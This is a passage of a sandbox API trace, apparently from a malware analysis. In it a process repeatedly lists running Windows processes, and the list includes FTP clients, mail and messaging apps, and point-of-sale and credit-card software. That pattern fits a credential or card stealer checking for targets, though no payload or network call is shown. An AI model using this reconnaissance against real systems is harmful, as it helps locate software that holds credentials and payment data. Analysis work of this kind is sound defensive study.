out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0222.940] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0222.942] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0222.944] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0222.945] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0222.947] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0222.949] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0222.950] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0222.952] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0222.954] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0222.956] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0222.958] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0222.960] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0222.961] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0222.963] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0222.965] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0222.966] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0222.968] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0222.970] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0222.971] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0223.022] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0223.025] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0223.026] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0223.028] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0223.030] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0223.032] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0223.033] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0223.035] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0223.037] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0223.038] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0223.040] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0223.042] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0223.043] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0223.045] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0223.046] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0223.048] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0223.049] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0223.051] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0223.053] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0223.055] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0223.057] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0223.059] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0223.061] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0223.063] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.115] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.117] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0223.118] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0223.120] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0223.121] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0223.123] CloseHandle (hObject=0x15f0) returned 1 [0223.123] Sleep (dwMilliseconds=0x64) [0223.159] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0223.172] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.173] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.175] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.176] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.178] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.179] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.180] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.182] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.183] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.185] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.186] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.188] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.189] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.270] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.273] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.275] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.278] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.280] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.282] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.284] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.286] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0223.289] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0223.291] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.293] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.295] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0223.297] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0223.299] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0223.302] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.305] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0223.307] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0223.309] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.311] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0223.314] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0223.365] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0223.368] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 